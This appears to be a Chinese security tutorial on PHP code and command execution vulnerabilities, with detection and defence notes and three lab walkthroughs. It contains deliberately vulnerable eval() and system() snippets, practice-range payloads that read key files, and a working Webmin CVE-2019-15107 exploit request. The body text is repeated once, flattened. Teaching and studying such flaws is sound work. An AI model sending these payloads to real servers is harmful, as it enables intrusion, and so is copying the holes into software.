RCE代码及命令执行漏洞
字数 1468 2025-08-11 21:26:39

RCE代码及命令执行漏洞详解

一、概念

RCE (Remote Code/Command Execution) 漏洞分为代码执行和命令执行两种类型:

  1. 代码执行漏洞:当Web应用调用能将字符串转化成代码的函数时,若未对用户输入进行控制,导致攻击者可执行任意脚本代码。
  2. 命令执行漏洞:当应用调用系统命令处理函数时,若用户能控制这些参数,可将恶意命令拼接到正常命令中执行。

二、分类与细节

1. 代码执行漏洞

1.1 涉及环境

  • 脚本代码:PHP、Java、Python等
  • 产生场景
    • Web源码:ThinkPHP、EyouCMS、WordPress等
    • 中间件平台:Tomcat、Apache Struts2、Redis等
    • 其他环境:PHP-CGI、Jenkins-CI、Java RMI等

1.2 检测方法

  • 白盒测试:代码审计
  • 黑盒测试
    • 漏洞扫描工具
    • 公开漏洞利用
    • 手工测试参数及功能点

1.3 防御措施

  • 禁用敏感函数
  • 对变量进行过滤或固定
  • 使用WAF产品

1.4 相关函数(PHP)

  • eval():将字符串作为PHP代码执行
  • assert():检查断言是否为false
  • preg_replace():在PHP<5.5.0时存在风险
  • include/require:需开启allow_url_include(PHP>5.2.0)
  • create_function()
  • call_user_func()
  • 动态函数调用:$_GET['a']($_GET['b'])

1.5 案例演示

<?php 
$code=$_GET['x']; 
eval($code); 
?>

访问方式:

  • http://127.0.0.1/test.php?x=phpinfo();
  • http://127.0.0.1/test.php?x=echo 1;

2. 命令执行漏洞

2.1 涉及系统

  • Linux(对大小写敏感)
  • Windows(对大小写不敏感)

2.2 产生场景

  • Web源码:Nexus、Webmin、ElasticSearch等
  • 中间件平台:Weblogic、Apache等
  • 其他环境:Postgresql、Samba、Supervisord等

2.3 检测方法

同代码执行漏洞检测方法

2.4 防御措施

同代码执行漏洞防御措施

2.5 相关函数(PHP)

  • system()
  • exec()
  • 反引号 ``
  • shell_exec()
  • passthru()
  • popen()
  • proc_popen()

2.6 案例演示

<?php 
$code=$_GET['x']; 
echo system($code); 
?>

访问方式:http://127.0.0.1/test.php?x=ipconfig

三、实战案例分析

案例1:命令注入执行分析(墨者靶场)

  1. 打开目标环境
  2. 测试平台功能,发现可能存在命令执行漏洞
  3. 抓包分析,使用payload:cat<key_1173510526514.php

案例2:PHP代码分析溯源

  1. 打开目标环境
  2. 对加密代码进行解密(需加双引号):
<?php echo (gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=")));
  1. 分析源码发现只需添加参数a即可利用
  2. 使用payload:tac<key_2668745917315.php

案例3:Webmin CVE-2019-15107漏洞利用

  1. 搭建环境:
cd webmin/
cd CVE-2019-15107/
docker-compose up -d
  1. 访问目标:https://192.168.61.129:10000/
  2. 对登录口抓包,发送以下payload:
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:10000
Origin: https://x.x.x.x:10000

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
  1. 观察返回结果验证命令执行

四、总结

RCE漏洞危害极大,可导致服务器完全沦陷。开发人员应:

  1. 避免使用危险函数
  2. 对所有用户输入进行严格过滤
  3. 使用最小权限原则
  4. 定期进行安全审计和漏洞扫描

安全研究人员在测试时应遵守法律法规,仅在授权环境下进行测试。

RCE代码及命令执行漏洞详解 一、概念 RCE (Remote Code/Command Execution) 漏洞分为代码执行和命令执行两种类型: 代码执行漏洞 :当Web应用调用能将字符串转化成代码的函数时,若未对用户输入进行控制,导致攻击者可执行任意脚本代码。 命令执行漏洞 :当应用调用系统命令处理函数时,若用户能控制这些参数,可将恶意命令拼接到正常命令中执行。 二、分类与细节 1. 代码执行漏洞 1.1 涉及环境 脚本代码 :PHP、Java、Python等 产生场景 : Web源码:ThinkPHP、EyouCMS、WordPress等 中间件平台:Tomcat、Apache Struts2、Redis等 其他环境:PHP-CGI、Jenkins-CI、Java RMI等 1.2 检测方法 白盒测试 :代码审计 黑盒测试 : 漏洞扫描工具 公开漏洞利用 手工测试参数及功能点 1.3 防御措施 禁用敏感函数 对变量进行过滤或固定 使用WAF产品 1.4 相关函数(PHP) eval() :将字符串作为PHP代码执行 assert() :检查断言是否为false preg_replace() :在PHP <5.5.0时存在风险 include / require :需开启allow_ url_ include(PHP>5.2.0) create_function() call_user_func() 动态函数调用: $_GET['a']($_GET['b']) 1.5 案例演示 访问方式: http://127.0.0.1/test.php?x=phpinfo(); http://127.0.0.1/test.php?x=echo 1; 2. 命令执行漏洞 2.1 涉及系统 Linux(对大小写敏感) Windows(对大小写不敏感) 2.2 产生场景 Web源码:Nexus、Webmin、ElasticSearch等 中间件平台:Weblogic、Apache等 其他环境:Postgresql、Samba、Supervisord等 2.3 检测方法 同代码执行漏洞检测方法 2.4 防御措施 同代码执行漏洞防御措施 2.5 相关函数(PHP) system() exec() 反引号 `` shell_exec() passthru() popen() proc_popen() 2.6 案例演示 访问方式: http://127.0.0.1/test.php?x=ipconfig 三、实战案例分析 案例1:命令注入执行分析(墨者靶场) 打开目标环境 测试平台功能,发现可能存在命令执行漏洞 抓包分析,使用payload: cat<key_1173510526514.php 案例2:PHP代码分析溯源 打开目标环境 对加密代码进行解密(需加双引号): 分析源码发现只需添加参数a即可利用 使用payload: tac<key_2668745917315.php 案例3:Webmin CVE-2019-15107漏洞利用 搭建环境: 访问目标: https://192.168.61.129:10000/ 对登录口抓包,发送以下payload: 观察返回结果验证命令执行 四、总结 RCE漏洞危害极大,可导致服务器完全沦陷。开发人员应: 避免使用危险函数 对所有用户输入进行严格过滤 使用最小权限原则 定期进行安全审计和漏洞扫描 安全研究人员在测试时应遵守法律法规,仅在授权环境下进行测试。